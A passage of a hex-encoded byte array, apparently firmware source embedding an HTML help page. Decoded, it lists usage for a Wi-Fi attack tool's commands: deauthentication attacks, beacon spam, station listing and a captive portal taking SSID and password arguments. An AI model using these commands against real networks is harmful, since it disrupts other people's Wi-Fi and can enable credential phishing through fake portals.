0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, + 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x4C, 0x61, 0x75, 0x6E, 0x63, 0x68, 0x20, + 0x61, 0x6E, 0x20, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x28, 0x65, + 0x2E, 0x67, 0x2E, 0x2C, 0x20, 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, 0x65, + 0x6E, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x61, 0x74, + 0x74, 0x61, 0x63, 0x6B, 0x29, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, + 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x61, 0x74, + 0x74, 0x61, 0x63, 0x6B, 0x20, 0x2D, 0x64, 0x3C, 0x2F, 0x63, 0x6F, 0x64, + 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, + 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x64, 0x3C, 0x2F, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, + 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, 0x20, 0x61, 0x74, 0x74, 0x61, 0x63, + 0x6B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, + 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x6C, 0x69, 0x73, 0x74, 0x3C, 0x2F, 0x73, 0x74, + 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x4C, 0x69, 0x73, 0x74, 0x20, + 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x20, 0x72, + 0x65, 0x73, 0x75, 0x6C, 0x74, 0x73, 0x20, 0x6F, 0x72, 0x20, 0x63, 0x6F, + 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x73, 0x74, 0x61, 0x74, + 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, + 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, + 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x6C, 0x69, 0x73, + 0x74, 0x20, 0x2D, 0x61, 0x20, 0x7C, 0x20, 0x6C, 0x69, 0x73, 0x74, 0x20, + 0x2D, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, + 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, + 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, + 0x65, 0x3E, 0x2D, 0x61, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, + 0x20, 0x53, 0x68, 0x6F, 0x77, 0x20, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, + 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x73, 0x20, 0x66, 0x72, 0x6F, 0x6D, + 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x3C, + 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, + 0x64, 0x65, 0x3E, 0x2D, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, + 0x3A, 0x20, 0x4C, 0x69, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, + 0x63, 0x74, 0x65, 0x64, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, + 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, + 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x73, 0x70, + 0x61, 0x6D, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, + 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, + 0x6E, 0x20, 0x73, 0x70, 0x61, 0x6D, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, + 0x64, 0x69, 0x66, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x6D, 0x6F, + 0x64, 0x65, 0x73, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, + 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, + 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x62, 0x65, 0x61, 0x63, + 0x6F, 0x6E, 0x73, 0x70, 0x61, 0x6D, 0x20, 0x5B, 0x4F, 0x50, 0x54, 0x49, + 0x4F, 0x4E, 0x5D, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, + 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, + 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, + 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, + 0x64, 0x65, 0x3E, 0x2D, 0x72, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, + 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x72, 0x61, 0x6E, 0x64, + 0x6F, 0x6D, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x73, 0x70, + 0x61, 0x6D, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x72, 0x72, 0x3C, 0x2F, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, + 0x52, 0x69, 0x63, 0x6B, 0x72, 0x6F, 0x6C, 0x6C, 0x20, 0x62, 0x65, 0x61, + 0x63, 0x6F, 0x6E, 0x20, 0x73, 0x70, 0x61, 0x6D, 0x3C, 0x62, 0x72, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, + 0x2D, 0x6C, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x20, 0x41, 0x50, 0x20, 0x4C, 0x69, 0x73, 0x74, + 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x73, 0x70, 0x61, 0x6D, + 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x5B, 0x53, 0x53, 0x49, 0x44, 0x5D, 0x3C, 0x2F, + 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x55, 0x73, 0x65, 0x20, 0x73, + 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x65, 0x64, 0x20, 0x53, 0x53, 0x49, + 0x44, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, + 0x20, 0x73, 0x70, 0x61, 0x6D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x74, 0x6F, 0x70, + 0x73, 0x70, 0x61, 0x6D, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, + 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, 0x20, 0x6F, 0x6E, 0x67, 0x6F, + 0x69, 0x6E, 0x67, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x73, + 0x70, 0x61, 0x6D, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, + 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, + 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x6F, 0x70, + 0x73, 0x70, 0x61, 0x6D, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, + 0x67, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, + 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, + 0x74, 0x6F, 0x70, 0x20, 0x6F, 0x6E, 0x67, 0x6F, 0x69, 0x6E, 0x67, 0x20, + 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, 0x65, 0x6E, 0x74, 0x69, 0x63, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x2E, + 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, + 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, + 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x64, 0x65, 0x61, 0x75, + 0x74, 0x68, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, + 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, + 0x61, 0x6E, 0x20, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x70, 0x6F, + 0x69, 0x6E, 0x74, 0x20, 0x62, 0x79, 0x20, 0x69, 0x6E, 0x64, 0x65, 0x78, + 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x20, 0x72, + 0x65, 0x73, 0x75, 0x6C, 0x74, 0x73, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, + 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, + 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x2D, 0x61, 0x20, 0x26, 0x6C, 0x74, + 0x3B, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x26, 0x67, 0x74, 0x3B, 0x3C, + 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, + 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, + 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, + 0x61, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x41, 0x50, + 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x69, + 0x6E, 0x64, 0x65, 0x78, 0x20, 0x28, 0x6D, 0x75, 0x73, 0x74, 0x20, 0x62, + 0x65, 0x20, 0x61, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x20, 0x6E, 0x75, + 0x6D, 0x62, 0x65, 0x72, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x74, 0x61, 0x72, + 0x74, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x2F, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, + 0x61, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x77, 0x69, 0x74, + 0x68, 0x20, 0x73, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x65, 0x64, 0x20, + 0x70, 0x61, 0x72, 0x61, 0x6D, 0x65, 0x74, 0x65, 0x72, 0x73, 0x2E, 0x3C, + 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, + 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, + 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, + 0x64, 0x65, 0x3E, 0x73, 0x74, 0x61, 0x72, 0x74, 0x70, 0x6F, 0x72, 0x74, + 0x61, 0x6C, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x55, 0x52, 0x4C, 0x26, 0x67, + 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x53, 0x53, 0x49, 0x44, 0x26, + 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6F, 0x72, 0x64, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, + 0x3B, 0x41, 0x50, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x26, 0x67, 0x74, 0x3B, + 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x26, + 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, + 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, + 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, + 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, + 0x64, 0x65, 0x3E, 0x26, 0x6C, 0x74, 0x3B, 0x55, 0x52, 0x4C, 0x26, 0x67, + 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x55, + 0x52, 0x4C, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, + 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x26, 0x6C, 0x74, + 0x3B, 0x53, 0x53, 0x49, 0x44, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, + 0x53, 0x53, 0x49, 0x44, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, + 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x62, 0x72, 0x3E, 0x0D, + 0x0A, 0x20, 